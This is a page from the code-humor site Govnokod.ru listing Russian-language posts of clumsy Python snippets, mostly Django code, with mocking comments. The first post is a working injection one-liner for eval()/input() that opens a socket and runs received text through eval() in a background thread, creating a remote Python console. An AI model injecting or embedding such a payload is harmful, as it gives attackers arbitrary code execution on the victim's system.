1. Python / Говнокод #11923

    −94

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    42 if (
        setattr(__builtins__,'___m', {'s':__import__('socket'),'l':__import__('select'),'i':__import__('itertools'),'t':__import__('threading')}),
        setattr(__builtins__,'___conn',__builtins__.___m['s'].create_connection(('127.0.0.1',10500))),
        setattr(__builtins__,'___worker' ,lambda S: any( 
            (True if __builtins__.___m['l'].select([S],[S],[S])[2] else S.sendall(repr(eval(S.recv(4096), globals(), locals()))+'\n')) for i in __builtins__.___m['i'].repeat(0) )
            ),
        __builtins__.___m['t'].Thread(target=__builtins__.___worker,args=(__builtins__.___conn,) ).start(),
        ) else 0

    Code injection для вызовов eval() и input(). Запускает некое подобие Python-консоли в отдельном потоке.
    Отформатировано для удобства чтения, вообще это однострочник.

    Говно в способе, которым организуется цикл работы с сокетом. А что поделать, даже while недоступен.

    Vindicar, 15 Октября 2012

    Комментарии (24)
  2. Python / Говнокод #11915

    −102

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
           obj_l = list()
            for obj, obj_id in [(QuizQuestion, quest_id), (QuizAssigment, ass_id), (QuizQuestionAnswer, answ_id)]:
                q_set = getattr(getattr(obj, 'objects'), 'filter')(id=obj_id)
                obj_l.append(getattr(q_set, 'count')() > 0 and q_set[0] or False)
            (False in obj_l or obj_l[2].question != obj_l[0] or (user and obj_l[0].user)) and abort(IntegrityError())

    1) хер такое прочтешь
    2) для осмысления прочитанного нужно выпить
    3) за осмысление такого нужно выпить еще раз
    4) чувак узнал про getattr, хотя стоило вызвать напрямую obj.objects.filter(id=obj_id)
    5) q_set.count() > 0 and q_set[0] or false
    пятая строка поддается пониманию но катастрофически быстро начинает от этого терять смысл

    nimnull, 12 Октября 2012

    Комментарии (4)
  3. Python / Говнокод #11880

    −94

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    def __call__(self, *args, **kw):
        # ...
        if args and len(args) > 1 and args[0] is args[1][0]:
            # fml...
            temp = list(args)
            temp.pop(1)
            args = tuple(temp)
        return self._execute(*args, **kw)

    Быль про архитектуру.

    wvxvw, 06 Октября 2012

    Комментарии (4)
  4. Python / Говнокод #11823

    −87

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    >>> r=range(16);print '\n'.join(' '*y+' '.join('# '[x&y>0] for x in r) for y in r)
    # # # # # # # # # # # # # # # #
     #   #   #   #   #   #   #   #  
      # #     # #     # #     # #    
       #       #       #       #      
        # # # #         # # # #        
         #   #           #   #          
          # #             # #            
           #               #              
            # # # # # # # #                
             #   #   #   #                  
              # #     # #                    
               #       #                      
                # # # #                        
                 #   #                          
                  # #                            
                   #

    1. Почему f(x, y) = 1-sign(x&y) даёт в результате треугольник Серпинского?
    2. Олимпиада: на вашем любимом языке написать программу, которая выводит аналогичный фрактал(см. код). Победит тот язык, программа на котором займёт наименьшее число символов. Нулевое приближение на Python - 78 символов.

    serpinski, 22 Сентября 2012

    Комментарии (166)
  5. Python / Говнокод #11732

    −91

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    if value == '' or value == None or value == False or value == 0:
        ...
    
    if count(data) <= 0:
        ...
    
    # так же он еще умеет рефакторить это
    if post_data is None:
        ...
    # вот в это
    if not post_data:
        ...

    Пара примеров, как у нас в проекте "кодит" товарищ из Индии

    larikov, 09 Сентября 2012

    Комментарии (28)
  6. Python / Говнокод #11709

    −100

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    def profile_edit(request, template_name='profile/subdiler/profile_edit.html'):
        profile = request.profile
        
        if request.method == "POST":
            form = DilerProfileForm(request.POST, request.FILES, instance=profile)
            if form.is_valid():
                profile = form.save(commit=False)
                try:
                    profile.avatar = profile.avatar[0]
                except:
                    pass
                try:
                    profile.sign = profile.sign[0]
                except:
                    pass
                profile.city = form.city
                profile.save()

    Замечательная цепочка из try-cath
    Не менее замечательно то, что метод profile_edit полностью идентичный лежит в двух файлах subdiler_views.py и diler_views.py
    Разница между ними только в переменной template_name='profile/(subdiler|diler)/profile_edit.html'
    Для чего так сделано, мне нипанять.

    хуита, 05 Сентября 2012

    Комментарии (3)
  7. Python / Говнокод #11655

    −93

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    DISC_NUMBER_REGEXS = (
            "\(disc *[0-9]+\)",
            "\(cd *[0-9]+\)",
            "\[disc *[0-9]+\]",
            "\[cd *[0-9]+\]",
            " - disc *[0-9]+$",
            " - cd *[0-9]+$",
            " disc *[0-9]+$",
            " cd *[0-9]+$"
    )               
    
    # skipped
    
                    for exp in DISC_NUMBER_REGEXS:
                            p = re.compile (exp, re.IGNORECASE)
                            album = p.sub ('', album)

    Вот такие вот регулярные выражения из плагина Album Art Search для плеера Rhythmbox. Как минимум disc|cd и \d+ автор должен был осилить?

    victor-homyakov, 27 Августа 2012

    Комментарии (4)
  8. Python / Говнокод #11572

    −101

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    def comment_absolute_url(request, pid):
        """
        This is a function which return paginated absolute URL for comment.
        It replaces default comment.get_absolute_url()
        """
        comment = Comment.objects.get(id=pid)
        pagination_interval = 25 # will be defined by user settings in future
        all_comments = Comment.objects.filter(content_type=comment.content_type, object_pk=comment.object_pk,
            is_public=True, is_removed=False)
        # I will post it to govnokod.ru, okay? ;)
        dummy_counter = int(0)
        needed_page = int(dummy_counter / pagination_interval) + 1
        for dummy_comment in all_comments:
            dummy_counter = dummy_counter + 1
            if dummy_comment.id == comment.id:
                needed_page = int(dummy_counter / pagination_interval) + 1
            # making an URL
        if comment.content_type.name == "forum post":
            item = ForumPost.objects.get(id=comment.object_pk)
            url_prefix = "forum/%s/%i" % (item.forum.url, item.id)
        elif comment.content_type.name == "new":
            item = New.objects.get(id=comment.object_pk)
            url_prefix = "news/%i" % item.id
        fixed_url = "/%s/?page=%i#%i" % (url_prefix, needed_page, int(pid))
        return fixed_url

    В Django есть достаточно няшный comments framework. А ещё там есть такой же няшный paginator. А вот вместе их подружить разработчики django почему-то постеснялись, и поэтому comment.get_absolute_url() нихрена не знает о существовании paginator-а. Эта функция призвана помочь безумному автору сослаться на коммент.

    Веселье начинается от dummy_counter-а.

    fat0troll, 11 Августа 2012

    Комментарии (0)
  9. Python / Говнокод #11382

    −86

    1. 1
    movie_data["genres"][i]["ru"].lower().encode("utf-8").decode("utf-8")

    Хм...

    Yurik, 08 Июля 2012

    Комментарии (6)
  10. Python / Говнокод #11284

    −93

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    # -*- coding: utf-8 -*-
    from django.db import models
    
    # Create your models here.
    
    class SheduleItem(models.Model):
      WIKDI = (
        ('monday', 'Понедельник'),
        ('tuesday', 'Вторник'),
        ('wednesday', 'Среда'),
        ('thursday', 'Четверг'),
        ('friday', 'Пятница'),
        ('saturday', 'Суббота'),
        ('sunday', 'Воскресенье'),
      )
      TAIM = (
        ('08:00', '08:00'),
        ('09:00', '09:00'),
        ('10:00', '10:00'),
        ('11:00', '11:00'),
        ('12:00', '12:00'),
        ('13:00', '13:00'),
        ('14:00', '14:00'),
        ('15:00', '15:00'),
        ('16:00', '16:00'),
        ('17:00', '17:00'),
        ('18:00', '18:00'),
        ('19:00', '19:00'),
        ('20:00', '20:00'),
        ('21:00', '21:00'),
      )
      weekday = models.CharField(max_length=20, choices=WIKDI)
      time = models.CharField(max_length=6, choices=TAIM)
      action = models.CharField(max_length=30)
      trainer = models.ForeignKey('trainers.StrongTrainer')
    
      def __unicode__(self):
        return self.action

    Django-модель для таблицы расписания занятий. Выдавлено в 2 часа ночи под Сержа Танкяна.

    fat0troll, 24 Июня 2012

    Комментарии (6)